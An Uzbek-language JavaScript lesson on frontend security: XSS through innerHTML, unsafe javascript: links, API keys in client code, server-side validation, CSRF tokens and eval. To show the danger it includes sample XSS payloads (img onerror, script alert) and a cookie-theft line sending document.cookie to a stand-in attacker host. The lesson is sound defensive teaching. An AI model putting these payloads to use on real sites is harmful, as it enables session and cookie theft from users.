JavaScript xavfsizlik asoslari

Brauzerda ishlaydigan kodni foydalanuvchi ko’ra oladi va o’zgartira oladi. Bu frontend xavfsizligining asosiy haqiqati — va undan kelib chiqadigan qoidalar shu darsda.

XSS — eng keng tarqalgan xavf

Sabab deyarli har doim bitta: tashqaridan kelgan matnni HTML sifatida qo’yish.

JavaScript

// Foydalanuvchi "izoh" sifatida shuni yozdi:
const izoh = "<img src=x onerror='console.log(`KOD ISHLADI!`)'>";

// ❌ innerHTML — HTML sifatida qo'yiladi, onerror ishga tushadi
document.querySelector("#xavfli").innerHTML = izoh;

// ✅ textContent — oddiy matn sifatida ko'rinadi
document.querySelector("#xavfsiz").textContent = izoh;

console.log("xavfsiz div ichida:", document.querySelector("#xavfsiz").textContent);

Sahifa

Birinchi holatda onerror ishga tushdi. Haqiqiy hujumda u yerda fetch("https://hujumchi.uz?cookie=" + document.cookie) bo’lardi.

Asosiy qoida

JavaScript

const foydalanuvchi = {
ism: "<b>Aziz</b>",
izoh: "<script>alert(1)<\/script>",
};

const div = document.querySelector("#natija");

// ✅ Matn uchun — textContent
const p1 = document.createElement("p");
p1.textContent = foydalanuvchi.ism;
div.append(p1);

// ✅ Atribut uchun — setAttribute yoki xossa
const p2 = document.createElement("p");
p2.textContent = foydalanuvchi.izoh;
p2.setAttribute("title", foydalanuvchi.izoh);
div.append(p2);

console.log(div.children.length, "element qo'shildi");
console.log("HTML sifatida talqin qilinmadi:", p1.textContent);

Sahifa

Qoida sodda: foydalanuvchi ma’lumoti hech qachon innerHTML ga bermaydi. textContent va createElement bilan qurish — DOM yaratish darsidagi usul.

Qachon HTML kerak bo’lsa

Ba’zan foydalanuvchi formatlangan matn yozadi (masalan Markdown izoh). U holda sanitizatsiya kerak:

// DOMPurify kutubxonasi — sinovdan o'tgan yechim
import DOMPurify from "dompurify";

element.innerHTML = DOMPurify.sanitize(foydalanuvchiHTML);

Havolalar ham xavfli

JavaScript

const manzil = "javascript:console.log('havola orqali kod')";

const a = document.createElement("a");
a.textContent = "Bosing";
a.href = manzil;

console.log("href:", a.href.startsWith("javascript:") ? "XAVFLI" : "xavfsiz");

// Tekshiruv bilan
function xavfsizHavola(url) {
try {
  const u = new URL(url, window.location.origin);
  if (u.protocol !== "http:" && u.protocol !== "https:") return "#";
  return u.href;
} catch {
  return "#";
}
}

console.log(xavfsizHavola("https://example.com"));
console.log(xavfsizHavola("javascript:alert(1)"));
console.log(xavfsizHavola("buzilgan"));

Sahifa

target="_blank" bilan ochiladigan tashqi havolalarga rel="noopener noreferrer" qo’shiladi — aks holda yangi sahifa window.opener orqali sizning sahifangizga ta’sir qila oladi.

Maxfiy ma’lumot frontendda saqlanmaydi

Eng ko'p uchraydigan xato

Brauzerga yuborilgan har qanday narsani foydalanuvchi ko’radi:

const API_KALIT = "sk_live_abc123";   // ❌ hammaga ko'rinadi

Uni yashirishning iloji yo’q — minifikatsiya, kodlash va .env ham yordam bermaydi (bundler qiymatni kodga qo’yadi). Maxfiy kalitlar faqat serverda turadi; brauzer serverga so’rov yuboradi, server esa tashqi API’ga.

Xuddi shunday, localStorage ga token yoki parol yozilmaydi — XSS bo’lsa, hujumchi kodi uni o’qiy oladi.

Tekshiruv serverda takrorlanadi

JavaScript

function tekshir(yosh) {
if (yosh < 18) return "Ruxsat yo'q";
return "Ruxsat berildi";
}

console.log(tekshir(15));
console.log(tekshir(20));

console.log("—");
console.log("Foydalanuvchi DevTools'da bu funksiyani o'zgartira oladi,");
console.log("shuning uchun server ham xuddi shu tekshiruvni bajarishi shart.");

Frontend validatsiyasi — qulaylik uchun (xatoni tez ko’rsatish), himoya uchun emas. Har bir tekshiruv serverda qaytariladi.

CSRF

Himoya server tomonida: CSRF token va SameSite cookie sozlamasi. Frontend tomonida — so’rovga tokenni qo’shish:

await fetch("/api/otkazma", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "X-CSRF-Token": token,
  },
  body: JSON.stringify({ summa: 100000 }),
});

HTTPS majburiy

HTTP orqali yuborilgan ma’lumotni yo’lda o’qish va o’zgartirish mumkin. Bugun HTTPS bepul va standart; bundan tashqari ko’p zamonaviy brauzer imkoniyatlari (joylashuv, kamera, Service Worker) faqat HTTPS’da ishlaydi.

eval va o’xshashlari

JavaScript

const foydalanuvchiKiritdi = "2 + 2";

// ❌ eval — har qanday kodni bajaradi
// eval(foydalanuvchiKiritdi);

// ✅ Kerakli amalni o'zingiz bajaring
function xavfsizHisob(ifoda) {
if (!/^[\d\s+\-*/().]+$/.test(ifoda)) {
  return "Faqat sonlar va amallar ruxsat etiladi";
}
return "Tekshiruvdan o'tdi: " + ifoda;
}

console.log(xavfsizHisob("2 + 2"));
console.log(xavfsizHisob("fetch('http://hujumchi.uz')"));

eval, new Function va setTimeout("kod matni") — foydalanuvchi ma’lumoti bilan hech qachon ishlatilmaydi.

Tashqi paketlar

npm install bilan o’rnatilgan paket sizning loyihangizda to’liq huquq bilan ishlaydi. Amaliy ehtiyot choralari:

paket kerakligini o’ylab ko’ring (kichik vazifa uchun o’z kodingiz);
yuklab olishlar soni va oxirgi yangilanish sanasiga qarang;
npm audit bilan ma’lum zaifliklarni tekshiring;
package-lock.json ni git’ga qo’shing — versiya kutilmaganda o’zgarmasligi uchun.

Tekshiruv ro’yxati

Foydalanuvchi matni textContent bilan qo’yiladimi?
innerHTML faqat o’z HTML’ingiz uchunmi?
Havolalar protokoli tekshiriladimi?
Kod ichida API kaliti yoki parol yo’qmi?
Har validatsiya serverda takrorlanadimi?
Sayt HTTPS’dami?
eval ishlatilmayaptimi?
npm audit toza chiqadimi?

Amaliy mashq

innerHTML va textContent ga bir xil HTML matn berib, farqni ko’ring;
<img src=x onerror=...> bilan XSS’ni sinab ko’ring (o’z sahifangizda);
havola protokolini tekshiruvchi funksiya yozing;
formani frontendda tekshirib, DevTools orqali chetlab o’ting;
npm audit ni loyihangizda ishga tushiring;
localStorage da nima saqlash mumkinligini ro’yxatlang.

Qisqacha xulosa

XSS — asosiy frontend xavfi; sababi innerHTML ga tashqi matn.
Foydalanuvchi matni uchun doim textContent.
HTML kerak bo’lsa — DOMPurify kabi kutubxona bilan tozalang.
Havola protokolini tekshiring; target="_blank" ga rel="noopener".
Maxfiy kalitlar frontendda saqlanmaydi — faqat serverda.
Frontend validatsiyasi qulaylik uchun; server himoya qiladi.
eval va tekshirilmagan paketlardan saqlaning.

Keyingi darsda yakuniy loyiha — o’rganilganlarni birga qo’llash.